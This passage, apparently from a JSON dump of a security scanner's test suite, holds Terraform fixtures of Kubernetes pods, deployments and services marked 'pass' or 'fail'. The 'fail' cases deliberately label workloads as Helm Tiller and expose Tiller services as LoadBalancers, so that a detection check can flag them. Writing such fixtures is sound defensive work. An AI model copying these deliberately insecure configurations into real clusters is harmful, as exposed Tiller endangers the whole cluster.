\"9.9.9.9\"]\n              searches    = [\"example.com\"]\n\n              option {\n                name  = \"ndots\"\n                value = 1\n              }\n\n              option {\n                name = \"use-vc\"\n              }\n            }\n\n            dns_policy = \"None\"\n          }\n        }\n      }\n    }\n\n    #app is helm\n    resource \"kubernetes_deployment\" \"fail5\" {\n      metadata {\n        name = \"terraform-example\"\n        labels = {\n          app = \"nginx\"\n        }\n      }\n\n      spec {\n        replicas = 3\n\n        selector {\n          match_labels = {\n            app = \"helm\"\n          }\n        }\n\n        template {\n          metadata {\n            labels = {\n              app = \"helm\"\n            }\n          }\n\n          spec {\n            container {\n              image = \"nuthin-dodgy\"\n              name  = \"example22\"\n\n              env {\n                name  = \"environment\"\n                value = \"test\"\n              }\n\n              port {\n                container_port = 8080\n              }\n\n              liveness_probe {\n                http_get {\n                  path = \"/nginx_status\"\n                  port = 80\n\n                  http_header {\n                    name  = \"X-Custom-Header\"\n                    value = \"Awesome\"\n                  }\n                }\n\n                initial_delay_seconds = 3\n                period_seconds        = 3\n              }\n            }\n\n            container {\n              image = \"nginx:1.7.9\"\n              name  = \"example22222\"\n\n              resources {\n                requests = {\n                  cpu    = \"250m\"\n                  memory = \"50Mi\"\n                }\n              }\n\n              env {\n                name  = \"environment\"\n                value = \"test\"\n              }\n\n              port {\n                container_port = 8080\n              }\n\n              liveness_probe {\n                http_get {\n                  path = \"/nginx_status\"\n                  port = 80\n\n                  http_header {\n                    name  = \"X-Custom-Header\"\n                    value = \"Awesome\"\n                  }\n                }\n\n                initial_delay_seconds = 3\n                period_seconds        = 3\n              }\n            }\n\n\n            dns_config {\n              nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n              searches    = [\"example.com\"]\n\n              option {\n                name  = \"ndots\"\n                value = 1\n              }\n\n              option {\n                name = \"use-vc\"\n              }\n            }\n\n            dns_policy = \"None\"\n          }\n        }\n      }\n    }\n\n    resource \"kubernetes_deployment_v1\" \"fail5\" {\n      metadata {\n        name = \"terraform-example\"\n        labels = {\n          app = \"nginx\"\n        }\n      }\n\n      spec {\n        replicas = 3\n\n        selector {\n          match_labels = {\n            app = \"helm\"\n          }\n        }\n\n        template {\n          metadata {\n            labels = {\n              app = \"helm\"\n            }\n          }\n\n          spec {\n            container {\n              image = \"nuthin-dodgy\"\n              name  = \"example22\"\n\n              env {\n                name  = \"environment\"\n                value = \"test\"\n              }\n\n              port {\n                container_port = 8080\n              }\n\n              liveness_probe {\n                http_get {\n                  path = \"/nginx_status\"\n                  port = 80\n\n                  http_header {\n                    name  = \"X-Custom-Header\"\n                    value = \"Awesome\"\n                  }\n                }\n\n                initial_delay_seconds = 3\n                period_seconds        = 3\n              }\n            }\n\n            container {\n              image = \"nginx:1.7.9\"\n              name  = \"example22222\"\n\n              resources {\n                requests = {\n                  cpu    = \"250m\"\n                  memory = \"50Mi\"\n                }\n              }\n\n              env {\n                name  = \"environment\"\n                value = \"test\"\n              }\n\n              port {\n                container_port = 8080\n              }\n\n              liveness_probe {\n                http_get {\n                  path = \"/nginx_status\"\n                  port = 80\n\n                  http_header {\n                    name  = \"X-Custom-Header\"\n                    value = \"Awesome\"\n                  }\n                }\n\n                initial_delay_seconds = 3\n                period_seconds        = 3\n              }\n            }\n\n\n            dns_config {\n              nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n              searches    = [\"example.com\"]\n\n              option {\n                name  = \"ndots\"\n                value = 1\n              }\n\n              option {\n                name = \"use-vc\"\n              }\n            }\n\n            dns_policy = \"None\"\n          }\n        }\n      }\n    }\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#label is tiller\nresource \"kubernetes_deployment\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      name = \"tiller\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        name = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          name = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#label is tiller\nresource \"kubernetes_deployment_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      name = \"tiller\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        name = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          name = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#label is tiller\nresource \"kubernetes_deployment\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      name = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        name = \"tiller\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          name = \"tiller\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#label is tiller\nresource \"kubernetes_deployment_v1\" \"fail4\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      name = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        name = \"tiller\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          name = \"tiller\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#app is helm\nresource \"kubernetes_pod\" \"fail3\" {\n  metadata {\n    labels = {\n       app = \"helm\"\n    }\n  }\n\n  spec {\n    container {\n      image = \"nuthin-dodgy\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      resources {\n        requests = {\n          cpu    = \"250m\"\n          memory = \"50Mi\"\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#app is helm\nresource \"kubernetes_pod_v1\" \"fail3\" {\n  metadata {\n    labels = {\n      app = \"helm\"\n    }\n  }\n\n  spec {\n    container {\n      image = \"nuthin-dodgy\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      resources {\n        requests = {\n          cpu    = \"250m\"\n          memory = \"50Mi\"\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#app is helm\nresource \"kubernetes_deployment\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      app = \"helm\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        name = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          name = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#app is helm\nresource \"kubernetes_deployment_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      app = \"helm\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        name = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          name = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#app is helm\nresource \"kubernetes_deployment\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        app = \"helm\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          app = \"helm\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#app is helm\nresource \"kubernetes_deployment_v1\" \"fail5\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        app = \"helm\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          app = \"helm\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#app is helm\nresource \"kubernetes_pod\" \"pass\" {\n  metadata {\n   name=\"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nuthin-dodgy\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      resources {\n        requests = {\n          cpu    = \"250m\"\n          memory = \"50Mi\"\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#app is helm\nresource \"kubernetes_pod_v1\" \"pass\" {\n  metadata {\n    name=\"terraform-example\"\n  }\n\n  spec {\n    container {\n      image = \"nuthin-dodgy\"\n      name  = \"example22\"\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n    container {\n      image = \"nginx:1.7.9\"\n      name  = \"example22222\"\n\n      resources {\n        requests = {\n          cpu    = \"250m\"\n          memory = \"50Mi\"\n        }\n      }\n\n      env {\n        name  = \"environment\"\n        value = \"test\"\n      }\n\n      port {\n        container_port = 8080\n      }\n\n      liveness_probe {\n        http_get {\n          path = \"/nginx_status\"\n          port = 80\n\n          http_header {\n            name  = \"X-Custom-Header\"\n            value = \"Awesome\"\n          }\n        }\n\n        initial_delay_seconds = 3\n        period_seconds        = 3\n      }\n    }\n\n\n\n    dns_config {\n      nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n      searches    = [\"example.com\"]\n\n      option {\n        name  = \"ndots\"\n        value = 1\n      }\n\n      option {\n        name = \"use-vc\"\n      }\n    }\n\n    dns_policy = \"None\"\n  }\n}\n\n#app is helm\nresource \"kubernetes_deployment\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}\n\n#app is helm\nresource \"kubernetes_deployment_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      app = \"nginx\"\n    }\n  }\n\n  spec {\n    replicas = 3\n\n    selector {\n      match_labels = {\n        app = \"nginx\"\n      }\n    }\n\n    template {\n      metadata {\n        labels = {\n          app = \"nginx\"\n        }\n      }\n\n      spec {\n        container {\n          image = \"nuthin-dodgy\"\n          name  = \"example22\"\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n        container {\n          image = \"nginx:1.7.9\"\n          name  = \"example22222\"\n\n          resources {\n            requests = {\n              cpu    = \"250m\"\n              memory = \"50Mi\"\n            }\n          }\n\n          env {\n            name  = \"environment\"\n            value = \"test\"\n          }\n\n          port {\n            container_port = 8080\n          }\n\n          liveness_probe {\n            http_get {\n              path = \"/nginx_status\"\n              port = 80\n\n              http_header {\n                name  = \"X-Custom-Header\"\n                value = \"Awesome\"\n              }\n            }\n\n            initial_delay_seconds = 3\n            period_seconds        = 3\n          }\n        }\n\n\n\n        dns_config {\n          nameservers = [\"1.1.1.1\", \"8.8.8.8\", \"9.9.9.9\"]\n          searches    = [\"example.com\"]\n\n          option {\n            name  = \"ndots\"\n            value = 1\n          }\n\n          option {\n            name = \"use-vc\"\n          }\n        }\n\n        dns_policy = \"None\"\n      }\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_TillerService/main.tf",
    "content": "resource \"kubernetes_service\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      app=\"helm\"\n      name=\"tiller\"\n    }\n  }\n  spec {\n    selector = {\n      app = kubernetes_pod.example.metadata.0.labels.app\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      app=\"helm\"\n      name=\"tiller\"\n    }\n  }\n  spec {\n    selector = {\n      app = kubernetes_pod_v1.example.metadata.0.labels.app\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    selector = {\n      app = \"helm\"\n      name= \"tiller\"\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    selector = {\n      app = \"helm\"\n      name= \"tiller\"\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    selector = {\n      app = kubernetes_pod.example.metadata.0.labels.app\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n  spec {\n    selector = {\n      app = kubernetes_pod_v1.example.metadata.0.labels.app\n    }\n    session_affinity = \"ClientIP\"\n    port {\n      port        = 8080\n      target_port = 80\n    }\n\n    type = \"LoadBalancer\"\n  }\n}\n\nresource \"kubernetes_service\" \"fail3\" {\n  metadata {\n\n    labels = var.isNull == \"not_null\" ? {\n      app=\"helm\"\n      name=\"tiller\"\n    } : null\n\n  }\n  spec {}\n}\n\nresource \"kubernetes_service_v1\" \"fail3\" {\n  metadata {\n\n    labels = var.isNull == \"not_null\" ? {\n      app=\"helm\"\n      name=\"tiller\"\n    } : null\n\n  }\n  spec {}\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/example_WildcardRoles/main.tf",
